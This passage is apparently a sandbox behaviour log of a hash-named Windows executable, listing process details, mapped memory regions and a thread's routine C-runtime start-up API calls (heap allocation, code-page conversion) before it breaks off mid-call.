# Flog Txt Version 1 # Analyzer Version: 4.6.0 # Analyzer Build Date: Jul 8 2022 06:26:21 # Log Creation Date: 03.08.2022 18:21:47.149 Process: id = "1" image_name = "80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe" filename = "c:\\users\\rdhj0cnfevzx\\desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe" page_root = "0x3275000" os_pid = "0x610" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x7b4" cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe\" " cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fa87" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 117 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 118 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 119 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 120 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 121 start_va = 0xa0000 end_va = 0x19ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 122 start_va = 0x1a0000 end_va = 0x1a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 123 start_va = 0x1b0000 end_va = 0x1b1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 124 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 125 start_va = 0x400000 end_va = 0x24affff monitored = 1 entry_point = 0x416767 region_type = mapped_file name = "80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe" filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe") Region: id = 126 start_va = 0x771d0000 end_va = 0x7734afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 127 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 128 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 129 start_va = 0x7fff0000 end_va = 0x7ffa1676ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 130 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 131 start_va = 0x7ffa16931000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffa16931000" filename = "" Region: id = 270 start_va = 0x24b0000 end_va = 0x265ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 271 start_va = 0x640d0000 end_va = 0x6411ffff monitored = 0 entry_point = 0x640e8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 272 start_va = 0x64050000 end_va = 0x640c9fff monitored = 0 entry_point = 0x64063290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 273 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 274 start_va = 0x64120000 end_va = 0x64127fff monitored = 0 entry_point = 0x641217c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 275 start_va = 0x2660000 end_va = 0x283ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 276 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 277 start_va = 0x76910000 end_va = 0x76a8dfff monitored = 0 entry_point = 0x769c1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 278 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 279 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 280 start_va = 0x24b0000 end_va = 0x256dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 281 start_va = 0x2650000 end_va = 0x265ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002650000" filename = "" Region: id = 282 start_va = 0x73e50000 end_va = 0x73ee1fff monitored = 0 entry_point = 0x73e90380 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 283 start_va = 0x7fb00000 end_va = 0x7fea0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb") Region: id = 284 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 285 start_va = 0x743d0000 end_va = 0x74516fff monitored = 0 entry_point = 0x743e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 286 start_va = 0x74ab0000 end_va = 0x74bfefff monitored = 0 entry_point = 0x74b66820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 287 start_va = 0x1c0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 288 start_va = 0x2840000 end_va = 0x293ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002840000" filename = "" Region: id = 289 start_va = 0x2570000 end_va = 0x2599fff monitored = 0 entry_point = 0x2575680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 290 start_va = 0x2940000 end_va = 0x2ac7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002940000" filename = "" Region: id = 291 start_va = 0x741b0000 end_va = 0x741dafff monitored = 0 entry_point = 0x741b5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 292 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 293 start_va = 0x2570000 end_va = 0x2570fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 294 start_va = 0x2ad0000 end_va = 0x2c50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002ad0000" filename = "" Region: id = 295 start_va = 0x2c60000 end_va = 0x405ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c60000" filename = "" Region: id = 296 start_va = 0x4060000 end_va = 0x420ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004060000" filename = "" Region: id = 297 start_va = 0x4210000 end_va = 0x4a0ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004210000" filename = "" Region: id = 298 start_va = 0x2580000 end_va = 0x2582fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002580000" filename = "" Region: id = 299 start_va = 0x2580000 end_va = 0x2582fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002580000" filename = "" Region: id = 300 start_va = 0x2580000 end_va = 0x2588fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002580000" filename = "" Region: id = 301 start_va = 0x73dd0000 end_va = 0x73e44fff monitored = 0 entry_point = 0x73e09a60 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 302 start_va = 0x76a90000 end_va = 0x76b4dfff monitored = 0 entry_point = 0x76ac5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 303 start_va = 0x762b0000 end_va = 0x7646cfff monitored = 0 entry_point = 0x76392a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 304 start_va = 0x76c00000 end_va = 0x76cacfff monitored = 0 entry_point = 0x76c14f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 305 start_va = 0x73f00000 end_va = 0x73f1dfff monitored = 0 entry_point = 0x73f0b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 306 start_va = 0x73ef0000 end_va = 0x73ef9fff monitored = 0 entry_point = 0x73ef2a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 307 start_va = 0x76840000 end_va = 0x76897fff monitored = 0 entry_point = 0x768825c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 308 start_va = 0x76cb0000 end_va = 0x76cf3fff monitored = 0 entry_point = 0x76cc9d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 309 start_va = 0x4060000 end_va = 0x41fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004060000" filename = "" Region: id = 310 start_va = 0x4200000 end_va = 0x420ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004200000" filename = "" Region: id = 311 start_va = 0x2590000 end_va = 0x259ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 312 start_va = 0x764e0000 end_va = 0x765fefff monitored = 0 entry_point = 0x76525980 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 313 start_va = 0x25a0000 end_va = 0x25a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025a0000" filename = "" Region: id = 314 start_va = 0x2660000 end_va = 0x271bfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002660000" filename = "" Region: id = 315 start_va = 0x2740000 end_va = 0x283ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002740000" filename = "" Region: id = 316 start_va = 0x25a0000 end_va = 0x25a3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025a0000" filename = "" Region: id = 317 start_va = 0x73db0000 end_va = 0x73dccfff monitored = 0 entry_point = 0x73db3b10 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 318 start_va = 0x25b0000 end_va = 0x25b2fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 334 start_va = 0x25b0000 end_va = 0x25b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Thread: id = 1 os_tid = 0xad4 [0072.790] GetStartupInfoW (in: lpStartupInfo=0x19ff18 | out: lpStartupInfo=0x19ff18*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0072.791] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0072.791] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x4200000 [0072.792] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76720000 [0072.792] GetProcAddress (hModule=0x76720000, lpProcName="FlsAlloc") returned 0x7673a980 [0072.792] GetProcAddress (hModule=0x76720000, lpProcName="FlsGetValue") returned 0x76737570 [0072.792] GetProcAddress (hModule=0x76720000, lpProcName="FlsSetValue") returned 0x76739e30 [0072.792] GetProcAddress (hModule=0x76720000, lpProcName="FlsFree") returned 0x76744ff0 [0072.794] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x214) returned 0x42005a8 [0072.799] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76720000 [0072.800] GetCurrentThreadId () returned 0xad4 [0072.800] GetStartupInfoW (in: lpStartupInfo=0x19feb4 | out: lpStartupInfo=0x19feb4*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0072.800] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x800) returned 0x42007c8 [0072.800] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0072.800] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0072.800] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0072.800] SetHandleCount (uNumber=0x20) returned 0x20 [0072.800] GetCommandLineW () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe\" " [0072.800] GetEnvironmentStringsW () returned 0x274fd20* [0072.800] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x0, Size=0xa1a) returned 0x4200fd0 [0072.800] FreeEnvironmentStringsW (penv=0x274fd20) returned 1 [0072.800] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x24a6290, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\80f503f4fd7e84b614fc5a50888629178996402d10e245193136c0aee909b87b.exe")) returned 0x62 [0072.800] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x0, Size=0xce) returned 0x42019f8 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x90) returned 0x4201ad0 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x3e) returned 0x4201b68 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x5c) returned 0x4201bb0 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x6e) returned 0x4201c18 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x78) returned 0x4201c90 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x62) returned 0x4201d10 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x28) returned 0x4201d80 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x48) returned 0x4201db0 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x1a) returned 0x4201e00 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x3a) returned 0x4201e28 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x62) returned 0x4201e70 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x2a) returned 0x4201ee0 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x2e) returned 0x4201f18 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x1c) returned 0x4201f50 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0xd2) returned 0x4201f78 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x7c) returned 0x4202058 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x36) returned 0x42020e0 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x3a) returned 0x4202120 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x90) returned 0x4202168 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x24) returned 0x4202200 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x30) returned 0x4202230 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x36) returned 0x4202268 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x48) returned 0x42022a8 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x52) returned 0x42022f8 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x3c) returned 0x4202358 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0xd6) returned 0x42023a0 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x2e) returned 0x4202480 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x1e) returned 0x42024b8 [0072.801] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x2c) returned 0x42024e0 [0072.802] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x54) returned 0x4202518 [0072.802] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x52) returned 0x4202578 [0072.802] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x24) returned 0x42025d8 [0072.802] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x42) returned 0x4202608 [0072.802] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x2c) returned 0x4202658 [0072.802] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x44) returned 0x4202690 [0072.802] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x24) returned 0x42026e0 [0072.816] HeapFree (in: hHeap=0x4200000, dwFlags=0x0, lpMem=0x4200fd0 | out: hHeap=0x4200000) returned 1 [0072.907] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0072.907] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x800) returned 0x4202710 [0072.907] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x8, Size=0x80) returned 0x4202f18 [0072.907] GetLastError () returned 0x0 [0072.907] SetLastError (dwErrCode=0x0) [0072.907] GetLastError () returned 0x0 [0072.907] SetLastError (dwErrCode=0x0) [0072.907] GetLastError () returned 0x0 [0072.907] SetLastError (dwErrCode=0x0) [0072.907] GetACP () returned 0x4e4 [0072.907] RtlAllocateHeap (HeapHandle=0x4200000, Flags=0x0, Size=0x220) returned 0x4200fd0 [0072.907] GetLastError () returned 0x0 [0072.908] SetLastError (dwErrCode=0x0) [0072.908] IsValidCodePage (CodePage=0x4e4) returned 1 [0072.908] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fe7c | out: lpCPInfo=0x19fe7c) returned 1 [0072.908] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f948 | out: lpCPInfo=0x19f948) returned 1 [0072.908] GetLastError () returned 0x0 [0072.908] SetLastError (dwErrCode=0x0) [0072.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0072.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿAĀ") returned 256 [0072.908] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿAĀ", cchSrc=256, lpCharType=0x19f95c | out: lpCharType=0x19f95c) returned 1 [0072.908] GetLastError () returned 0x0 [0072.908] SetLastError (dwErrCode=0x0) [0072.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0072.908] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fd5c, cbMultiByte=256, lpWideCharStr=0x19f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0072.908] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0072.908] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x19f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0072.909] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", 